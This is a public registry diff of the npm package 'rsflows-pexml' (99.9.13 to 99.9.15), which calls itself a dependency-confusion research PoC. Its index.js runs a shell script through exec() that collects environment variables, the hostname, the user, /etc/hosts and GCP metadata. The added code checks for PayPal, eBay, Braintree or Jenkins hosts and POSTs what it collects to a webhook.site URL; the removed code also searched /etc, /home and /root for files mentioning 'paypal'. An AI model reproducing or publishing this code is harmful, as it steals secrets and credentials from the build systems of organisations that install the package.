rsflows-pexml 99.9.13 → 99.9.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +22 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,17 +2,28 @@ const { exec } = require('child_process');
2
2
  const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
3
3
 
4
4
  const cmd = `
5
- (
6
- echo '--- TARGET IDENTIFICATION ---';
7
- echo 'HOSTNAME: ' \$(hostname);
8
- echo 'USER: ' \$(whoami);
9
- echo 'IP_PUBLIC: ' \$(curl -s ifconfig.me || echo 'none');
10
- echo '--- SEARCHING FOR SECRETS ---';
11
- # Mencari file yang mengandung kata paypal di /etc atau /home
12
- grep -rli 'paypal' /etc /home /root 2>/dev/null | head -n 10;
13
- echo '--- ENVIRONMENT ---';
14
- env;
15
- ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/target_recon
5
+ # 1. Cek apakah ada indikasi internal PayPal
6
+ IS_PAYPAL=\$(env | grep -iE 'paypal|ebay|braintree|slc|lvs' || echo 'no');
7
+ INTERNAL_IP=\$(hostname -I || echo 'none');
8
+
9
+ if [ "\$IS_PAYPAL" != "no" ] || [[ "\$(hostname)" == *"jenkins"* ]]; then
10
+ (
11
+ echo '--- !!! PAYPAL INTERNAL DETECTED !!! ---';
12
+ echo 'USER: ' \$(whoami);
13
+ echo 'HOSTNAME: ' \$(hostname);
14
+ echo 'INTERNAL_IP: ' \$INTERNAL_IP;
15
+ echo '--- ENVIRONMENT ---';
16
+ env;
17
+ echo '--- DNS/HOSTS ---';
18
+ cat /etc/hosts;
19
+ echo '--- CLOUD METADATA ---';
20
+ # Mencoba akses metadata GCP (karena mereka pakai GCP)
21
+ curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/ -timeout 2 || echo 'not gcp';
22
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_RCE_CONFIRMED;
23
+ else
24
+ # Tetap kirim ping kecil biar kita tahu skrip jalan
25
+ curl -s "${webhook}/ping_bot?host=\$(hostname)&ip=\$(curl -s ifconfig.me)";
26
+ fi
16
27
  `;
17
28
 
18
29
  exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.13",
3
+ "version": "99.9.15",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {